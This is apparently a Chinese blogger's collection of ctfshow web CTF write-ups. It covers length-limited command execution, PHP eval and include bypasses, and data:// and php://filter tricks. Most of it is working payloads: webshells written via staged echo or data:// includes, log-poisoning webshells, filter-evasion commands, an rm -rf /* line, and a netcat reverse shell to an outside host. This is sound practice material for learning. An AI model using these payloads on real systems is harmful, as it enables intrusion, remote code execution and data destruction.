我们要学习且不断努力,在ctfshow我又学习到了很多东西,弥补了自己不少基础

目录

七夕杯-web

1.web签到

第一种解法:

​编辑

第二种解法:

2.easy_calc

3.easy_cmd

4.easy_sql

_萌新

web1-8

web9-21

获得百分之百的快乐

萌新赛签到题

WEB AK赛 签到_观己

1024_WEB签到

月饼杯||

web签到

新春欢乐赛

热身

web1 这里面的链接的链接值得学习

单身杯

web签到

摆烂杯

一行代码

36D练手赛

不知所措.jpg



七夕杯-web

1.web签到

这个我是看别人的wp,第一次遇到这种有点懵,仅支持较短命令执行,且不会回显。
通过测试我们可以知道他只能运行7位以内及7位的命令,还是挺短的

第一种解法:

参考:yu22x的博客

通过将命令写进文件中,访问得到命令运行的内容

ls />a

运行后,去访问http://url/api/a得到a文件,查看得到命令运行的内容

从这里我们就看到的了flag,但是因为长度限制的问题,我们就要运用linux系统的通配符

cat /*>a
这是我们正常思维执行,通过cat命令来读取/目录下所有文件,但是这一串的长度已经大于7了
有没有刚好小一位的呢,有,就是nl
正好我们进行扩展一下,当cat命令不能使用,我们还能使用tac、more、nl之类的
以及还能使用通配符列如cat命令是在/usr/bin/cat这里
我们就能使用/???/???/c?t这样之类的来充cat使用

最终payload为

nl /*>a

第二种解法:

这个我就不详细讲了可以参考CTF长度限制命令执行

payload为

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

这个相当于执行0这个文件,0这个文件按照命令,将一个木马写进了,1.php里面

就是命令执行的思路

2.easy_calc

现将代码都截取下来

<?phpif(check($code)){eval('$result='."$code".";");echo($result);
}function check(&$code){$num1=$_POST['num1'];$symbol=$_POST['symbol'];$num2=$_POST['num2'];if(!isset($num1) || !isset($num2) || !isset($symbol) ){return false;}if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){return false;}if(preg_match("/^[\+\-\*\/]$/", $symbol)){$code = "$num1$symbol$num2";return true;}return false;
}

分析一下,用POST的方式传进去三个参数分别为num1,sysmbo1,num2

preg_match函数进行匹配,三个参数的内容里面必须有/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/  中最少一个符号否则就输出false

匹配sysmbo1中,必须有+ / * - 之一,之后将三个参数和在一块,eval()运行

这让我想起了data的伪协议,正好没有被过滤,真的有这么巧吗

我们尝试一下

写一个脚本,方便修改尝试

额,忘记说明了,这三个参数都是calc.php的,大家通过抓包的时候就可以知道

我是这样写的

import requestss = requests.Session()
url = "http://df917a09-dfd8-4022-9fab-27489fccbdf5.challenge.ctf.show/calc.php"data = {'num1': 'include "data:/','symbol': '/','num2': 'text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnMSddKTs/Pg"'
}url2=url+'?1=system("ls");'
a = s.post(url2, data=data).text
print(a)

得到了,这三个文件
calc.php
index.php
jquery.min.js

看来没有我们的flag

看看根目录

有这么一些东西,也是没有直接显示我们的flag

但是吧,怎么就突然多了一个secret目录我很好奇,ls看一下没有,cat一下就出flag了。。。。。。

这样就解决了

3.easy_cmd

题目源码

<?phperror_reporting(0);
highlight_file(__FILE__);$cmd=$_POST['cmd'];if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){exec(escapeshellcmd($cmd));
}
?>

这个我没搞过有点懵,看看wp,是要反弹shell的

可以参考这个:CTFshow自己的bilibili号上面有说

就是通过花生壳这个软件,利用nc来反弹shell

payload: cmd=nc 597594c76g.goho.co 26194 -e /bin/sh

顺便送给大家一个报错的处理方式

有的人,花生壳设置好了,按照这个搞但是没有shell反弹,这时候看看自己的花生壳的域名是不是能解析的,通常只要下载一个花生壳,在他里面搞就可以解决这个问题

4.easy_sql

这个吧,是真的不会了

_萌新

web1-8

我一共搞出来这么多方法

加号:id=999+1

或(or): id=999 or id=1000

减号: id=999- -1

乘法: id=250*4

16进制: id=0x3e8

单双引号:id='1000' (web1-web4单通)

或运算符:id= 999 || id=1000 这个是参考Ho1aAs的博客

异或运算符:id= 328^672  这个是参考Ho1aAs的博客

非运算符: id=~~1000 (web5-web6单通)

二进制:id=0b1111101000 (web7)

八进制: id=0o1750 (web7)

web8老梗了,直接删库得到flag,rm -rf /*

web9-21

web16要写脚本进行MD5碰撞,c=36d

正常可以试试phpinfo()尝试有没有漏洞
试试highlight_file("index.php");
passthru('cat /flag');

glob() 函数返回匹配指定模式的文件名或目录。
举个例子:
glob("* ") 匹配任意文件
glob("* .txt")匹配以txt为后缀的文件
print_r(glob("*"));
?><?=`echo "Y2F0" | base64 /etc/passwd ``?>

通常有eval、system、assert的通常都是命令执行
正常使用 echo `ls`     echo `cat flag.php`
例如flag被过滤可以尝试 fl``ag fla''g
空格被过滤了可以尝试{cat,/etc/passwd} cat<>/etc/passwd
使用$IFS$1也行

进行通配符匹配 即 /usr/bin/cat flag.php
c=/???/???/???%20????.???
/bin/ca? fla``g.php之类的也是这样

echo "Y2F0" | base64 /etc/passwd  
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
在两边加 `

cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=cat /flag这相当于一个马

这样也可,空格要url加密
当<>?=.* 当过滤了这么多字符可以用上面

遇见include函数执行的可以查看日志/var/log/nginx/access.log,将木马写进去


也是可以用data伪协议写进去

我也懒得写大部分这些应该是能搞定的。

获得百分之百的快乐

来讲一下这个题目

payload的话为

?1=>nl
?1=*

具体的情况的话可以参考小狐濡尾j 的博客

原理参考如何绕过四个字符限制getshell

萌新赛签到题

代码如下:

<?php
if(isset($_GET['url'])){system("curl https://".$_GET['url'].".ctf.show");
}else{show_source(__FILE__);
}?>

将他分段吧

payload: ?url=127.0.0.1;ls;?url=127.0.0.1;cat flag;

利用分号进行分割

WEB AK赛 签到_观己

看看代码

<?phpif(isset($_GET['file'])){$file = $_GET['file'];if(preg_match('/php/i', $file)){die('error');}else{include($file);}}else{highlight_file(__FILE__);
}?>

突然感觉莫名的熟悉

查查看日志/var/log/nginx/access.log

还真是。。。

老样子在User-Agent写马

1024_WEB签到

看看代码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-20 23:59:00
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-21 03:51:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);

看来主要和call_user_func这个函数有关,我去查了一下,他是只能用没有参数的函数,这个有点难搞诶,在我的印象里面phpinfo一直都是这么phpinfo(),今天才知道还是可以用phpinfo的

f=phpinfo

Ctrl+f查询function看看有没有他自己定义的函数

感觉就是这个了

f=ctfshow_1024 得到flag

月饼杯||

web签到


<?php
//Author:H3h3QAQ
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET["YBB"])) {if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) {echo "小伙子不错嘛!!flag给你了:" . $flag;} else {echo "偶吼,带黑阔被窝抓到了!!!!";}
}

代码在这里,需要YYB用GET传参传进去一个数,MD5加密后弱等于他自己

这里就有一个字符串了,0e215962017,这个字符串MD5以后还是0e开头

新春欢乐赛

热身

进去给代码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/eval($_GET['f']);

额,确实热身

可是我四处查看,都没找到flag

看看phpinfo

有一个/etc/ssh/secret/youneverknow/secret.php文件看看

f=system("cat /etc/ssh/secret/youneverknow/secret.php");

得到flag

web1

先看代码:

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/highlight_file(__FILE__);
error_reporting(0);$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);

大家可以参考这一个php伪协议详解,这里面有关于绕过exit的详解

payload:?content=php://filter/write=string.rot13|<?cuc flfgrz("png /s*");?>|/resource=flag.php
之后访问flag.php,查看源代码得到flag

web2

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/highlight_file(__FILE__);
session_start();
error_reporting(0);include "flag.php";if(count($_POST)===1){extract($_POST);if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){echo $flag;}
}
?>

说实在这个属实是有点小懵,conut函数是检查参数的,所以我们必须要一个参数才能进入下一步

这里主要还是运用session_start()

session_start() 会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。

所以我们使用cookie的会话ID为HappyNewYear,然后使用这个参数,是这个意思吧,我也不是特别的清楚。。

cookie: PHPSESSID=HappyNewYear
post: session_id=session_id

单身杯

web签到

先看代码:

<?php# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.comerror_reporting(0);
highlight_file(__FILE__);$file = $_POST['file'];if(isset($file)){if(strrev($file)==$file){include $file;}}

strrev函数就是将字符串相反

让他弱等于原来传进去的字符串

然后include执行这一串字符串

我们就用data传进去一个马不就行

file=data://text/plain,<?php eval($_GET['cmd']);?>>?;)]'dmc'[TEG_$(lave php?<,nialp/txet//:atadurl/?cmd=system("ls");  //flag在根目录

摆烂杯

一行代码

先看代码

 <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-11-18 21:25:22
# @Last Modified by:   h1xa
# @Last Modified time: 2021-11-18 22:14:12
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/echo !(!(include "flag.php")||(!error_reporting(0))||stripos($_GET['filename'],'.')||($_GET['id']!=0)||(strlen($_GET['content'])<=7)||(!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))||substr($_GET['content'],0,1)=='w'||(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow"))?$flag:str_repeat(highlight_file(__FILE__), 0);真就一行呗 

看了看,我们要读取flag.php获得flag,但是他用的是 || 诶

||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

所以我们就要将他们都等于false就能输出flag了

先看第一个(!error_reporting(0))||stripos($_GET['filename'],'.')

通过stripos函数查询filename输入的字符串是否有 . 因为我们需要false,所以字符串里面不能有句号

好了第一个清楚了

看第二个 ($_GET['id']!=0)

id不能等于0,那我们就让他等于0

看第三个 (strlen($_GET['content'])<=7)

所以content的长度要大于7才行,什么垃圾字符随便填

第四个 (!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))||substr($_GET['content'],0,1)=='w'

这个的话好像只要绕过后面那个,传入一个W

第五个(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow")

这个的话可以使用php://input或者data伪协议

我的建议是使用data伪协议,这样就不用拦包了,方便一点

payload: ?id=0&content=W1111111&filename=data://text/plain,welcome2ctfshow

36D练手赛

不知所措.jpg

进去是这样的

给个php,还提示了file参数而且里面必须有test

尝试传入一个test看看,得到testphp,尝试加一个句号

得到了test.php的内容

用file伪协议读取index.php

第一种方法:PHP://filter/read=convert.base64-encode|test|/resource=index.
第二种方法:PHP://filter/read=convert.base64-encode/resource=test/../index.

得到index.php的内容

尝试使用data伪协议

?file=data://text/plain,<?php eval(system("ls"));?>//test
?file=data://text/plain,<?php eval(system("ls /"));?>//test
?file=data://text/plain,<?php eval(system("cat /FFFFFFFL@GGGG"));?>//test
得到flag

新手杯-web

这他喵的,是新手能做出来的。。。。

easy_eval

<?phperror_reporting(0);
highlight_file(__FILE__);$code = $_POST['code'];if(isset($code)){$code = str_replace("?","",$code);eval("?>".$code);}

额,他将前面闭合了,让我们重新写一个,进行命令执行,但是?被禁了,意味着我们不能使用<?= ?>

但是我们可以利用<script>标签

payload:<script language="php">system('ls')</script>

ctfshow web学习记录相关推荐

  1. 第一周前端web学习记录

    第一周前端web学习记录 #什么是HTML.CSS? 如何写代码以及在哪里写 vs code 的基本使用方法 浏览器 网站开发 HTML 的结构基础和属性 创建标签 嵌套 HTML标签 设置属性 HT ...

  2. CTF之web学习记录 -- 命令注入

    命令注入 概述 常见攻击方式 使用管道符号 escapeshellarg和escapeshellcmd 无参RCE 模板注入 命令执行漏洞修复 总结 概述   web服务器后端代码有时会调用一些执行系 ...

  3. CTF之web学习记录 -- 文件包含

    文件包含 概述 常见文件包含函数和原理 本地文件包含 远程文件包含 远程包含加问号截断 利用php://filter 利用php://input 序列化和反序列化 Java文件包含 CVE-2018- ...

  4. java web学习记录(ubuntu18.04 java8 tomcat8)

    dom的应用 tomcat的安装,实测可用 启动的话,就不开机自了,/opt/tomcat8/bin/startup.sh这句用来启动 用idea创建一个java web,实测可用 page指令常用有 ...

  5. CTFShow web入门题刷题记录

    CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...

  6. Web学习历程记录(七)——Tomcat

    Web学习历程记录--Tomcat Web 静态Web资源 指Web页面中供人们浏览的数据始终是不变的 动态Web资源 指web页面中供人们浏览的数据是由程序产生的,不同时间点访问web页面看到的内容 ...

  7. WEB开发零基础到入门之HTML+CSS(学习记录)

    序言 之前一直想把自己的一个学习记录,以文章形式记录下来,方便于自己后期查找和温故.自己想了想准备建个人博客站来做记录,但是又想到了csdn的大家庭:所以就放弃了用个人站记录的想法,关于这里简单说明下 ...

  8. SIEMENS PLC Web API 学习记录

    SIEMENS PLC Web API 学习记录 为顺应时代发展,西门子为 S7-200SMART/1200/1500 PLC 添加IT通讯所需要的 Web API.(由于S7-200 SMART 新 ...

  9. Ctfshow web入门 PHP特性篇 web89-web151 全

    web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭- 有错误敬请斧正! CTFshow PHP web89 看题目,有个flag.php文件.题目 ...

最新文章

  1. 如何在CPU上优化GEMM(上)
  2. 二十二、插值查找算法
  3. Play 2.0 用户指南 - 模版引擎 -- 针对Scala开发者
  4. 如何毕业后继续白嫖知网
  5. 一文归纳总结分布式架构的那些事!
  6. python网络编程要学吗_总算发现如何学习python网络编程
  7. 多种方法实现自适应布局
  8. 我同事狠心用 Python 3 ,刚开始就直接崩溃!你们试试......
  9. android studio中如何替换gradle以防下载卡住
  10. 参数展示初始三层架构
  11. 境内银行卡磁条信息格式
  12. ENVI学习总结(十四)——高光谱地物识别
  13. Kettle 使用JS加密解密
  14. 光伏逆变器MPPT基本算法介绍-李星硕
  15. geek软件是干什么的_geektool--一款很geek的工具
  16. 银河麒麟高级服务器操作系统 V10 版本安装教程
  17. 使用SMMU的PMU查看性能数据
  18. 分布式理论(六)—— Raft 算法
  19. 2021年芯片产业发展的五大关键词
  20. selenium+cookie自动登录新浪微博(二)

热门文章

  1. Java练习:两种方式求1+1/2!+1/3!+1/4!+...前20项的和、用for,while,do-while分别实现1+1/2!+1/3!+1/4!+...前20项的和
  2. 前置机服务器windows系统,前置机和服务器怎么设置连接
  3. css3背景色由浅黑变深黑_CSS3 filter(滤镜)实现网页灰色或者黑色模式的代码
  4. 男孩女孩 --- 《心 跳》
  5. 《地铁:离去》为何能打动人心? 4A Games背后的叙事逻辑
  6. Java中的Math类相关方法整理
  7. 广和通5G R16模组FM160-NA连续获得北美主流运营商ATT和T-Mobile认证
  8. 惊天地兮泣鬼神,C语言学习库诞生(计算机达人成长之路42)
  9. lisp绘制棱锥_ICAD命令全集.doc
  10. ASO优化之关于应用的搜索热词